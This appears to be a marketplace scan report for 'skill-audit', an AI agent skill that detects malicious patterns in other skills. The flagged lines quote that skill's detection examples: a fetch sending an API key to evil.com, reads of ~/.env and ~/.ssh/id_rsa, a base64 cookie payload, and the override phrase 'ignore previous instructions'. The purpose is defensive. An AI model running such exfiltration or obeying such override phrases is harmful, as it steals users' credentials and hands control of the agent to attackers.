Skip to main content

skill-audit

This skill audits third-party AI agent skills for security risks, ensuring safe installations by detecting malicious patterns.

Install this skill

or
0/100

Security score

The skill-audit skill was audited on May 14, 2026 and we found 15 security issues across 5 threat categories, including 2 critical. Review the findings below before installing.

Categories Tested

Security Issues

medium line 132

Fetch to external URL

SourceSKILL.md
132| External data exfil | `fetch('http://evil.com?token=' + env.API_KEY)` | Credential theft |
medium line 44

Access to hidden dotfiles in home directory

SourceSKILL.md
44- Credential reads: `~/.env`, `process.env` + network calls
low line 92

Access to hidden dotfiles in home directory

SourceSKILL.md
92- References ~/.env
low line 101

Access to hidden dotfiles in home directory

SourceSKILL.md
101- But reads ~/.ssh/id_rsa
medium line 135

Access to hidden dotfiles in home directory

SourceSKILL.md
135| Credential reads | `~/.env`, `process.env` + network | Key theft |
high line 101

Access to SSH directory

SourceSKILL.md
101- But reads ~/.ssh/id_rsa
medium line 44

Access to .env file

SourceSKILL.md
44- Credential reads: `~/.env`, `process.env` + network calls
low line 92

Access to .env file

SourceSKILL.md
92- References ~/.env
medium line 135

Access to .env file

SourceSKILL.md
135| Credential reads | `~/.env`, `process.env` + network | Key theft |
medium line 153

Base64 decode operation

SourceSKILL.md
1531. **Base64 dropper**: "Excel Import Helper" → decoded to C2 server callback
medium line 43

Base64 decode via atob()

SourceSKILL.md
43- Encoded payloads: `atob()`, base64 strings
medium line 134

Base64 decode via atob()

SourceSKILL.md
134| Encoded payloads | `atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ==')` | Hidden commands |
critical line 40

Prompt injection: ignore instructions

SourceSKILL.md
40- Instruction overrides: `ignore previous instructions`, `you are now...`
critical line 131

Prompt injection: ignore instructions

SourceSKILL.md
131| Instruction override | `ignore previous instructions` | Agent takeover |
low line 132

External URL reference

SourceSKILL.md
132| External data exfil | `fetch('http://evil.com?token=' + env.API_KEY)` | Credential theft |
Scanned on May 14, 2026
View Security Dashboard
Installation guide →